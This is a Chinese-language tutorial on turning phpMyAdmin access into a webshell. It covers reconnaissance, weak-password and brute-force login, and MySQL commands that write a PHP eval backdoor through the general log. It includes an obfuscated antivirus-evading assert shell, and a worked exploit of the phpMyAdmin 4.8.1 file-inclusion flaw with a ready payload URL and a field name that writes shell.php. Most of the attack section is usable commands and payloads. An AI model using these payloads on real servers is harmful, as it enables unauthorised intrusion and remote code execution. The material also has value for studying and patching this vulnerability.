1.phpMyAdmin简介
hpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。
2.phpMyAdmin getshell思路
2.1 流程简介
- 1.明确目标
- 2.信息收集 (路径、版本、账号密码等)
- 3.漏洞挖掘和利用 (非特殊版本漏洞利用,特殊版本漏洞利用)
2.2 信息收集
- 1.明确路径 御剑,wwwscan等目录扫描或使用搜索引擎
- 2.明确版本 默认说明文档 /phpmyadmin/README
- 3.明确登录口令 弱密码、暴力破解
- 4.明确系统类型
- 5.明确php版本
- 6.明确数据库版本
2.3 漏洞挖掘与利用(非特殊版本漏洞利用)
1.检测满足写shell的前提条件SHOW VARIABLES LIKE ‘%secure_file_priv%’;查看读写文件路径“secure_file_priv”对应的值不能为null,为null就没办法正常写入shell,且这个变量只能在配置文件修改
2.常规写shell思路
3.日志写shell思路
我们首先需要检测的是MySQL全局变量(general_log、general_log file)的值。general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。general log file 指的是日志的保存路径。
set global general_log = "ON";
set global general_log_file='D:/phpStudy/PHPTutorial/WWW/infos.php'; //绝对路径
select '<?php eval($_POST[c]); ?>';
或者使用免杀一句话(过狗):1
2
3
4
5
6$arr = array('a','s','s','e','r','t’);
$func = ‘’”;
for($i=0;$i<count($arr);$i++) {
$func .= $func.$arr[$i];}
$func = substr($func,-6);
$func($_REQUEST['c']);
2.3特殊版本漏洞利用
- 1.确定版本信息
http://xxxxxx/phpMyAdmin/README - 2.获取漏洞利用所需信息 (路径、系统等)
show VARIABLES like ‘%char%’;查看系统变量 select @@datadir; 查看数据存储的路径
- 3.明确漏洞利用的具体方式
- 4.开始利用
3.phpMyAdmin 4.8.1 getshell 实战
在4.8.1这个版本中,根目录下index.php存在文件包含
这里有5个条件,满足之后就会包含我们穿过来的文件。前4个条件都比较好理解非空、必须为字符串、不能是index开头,不能是黑名单中的文件名(import.php、export.php),重点看最后一个。
libraries/classes/Core.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34public static function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = self::$goto_whitelist;
}
if (! isset($page) || !is_string($page)) {
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
前面是一些简单的判断,然后文件名必须在白名单里。接下来按问号分割字符串,目的是适应target=view.php?id=1
这种情况,分割后$_page
仍然是view.php
。
漏洞就出现在下面urldecode这里,如果我们让db_sql.php%253f/../../../../test.txt
,其中db_sql.php
是白名单中的文件名,%253f
是?的双重urlencode.php
会自动进行一次urldecode,第一次分割的时候是这样的:
当然下面的判断也不会生效,继续向下,第二次分割之前会urldecode一次。
现在5个条件都符合了,php会将db_sql.php%253f/当成一个目录,所以需要多加一个../来包含我们可控的文件。
先在某个表下新建一个字段,字段名可以是 <?php phpinfo();?>
构造payload: http://127.0.0.1/phpMyAdmin481/index.php?target=db_sql.php%253f./../../../../../phpStudy/PHPTutorial/MySQL/data/test/demo.frm
到这里我们可以写入一个shell,将表中字段名可以改成<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['m']);?>")?>
或是是远程文件包含或者是包含sesssion文件。
参考链接
https://github.com/phpmyadmin/phpmyadmin/commit/7662d02939fb3cf6f0d9ec32ac664401dcfe7490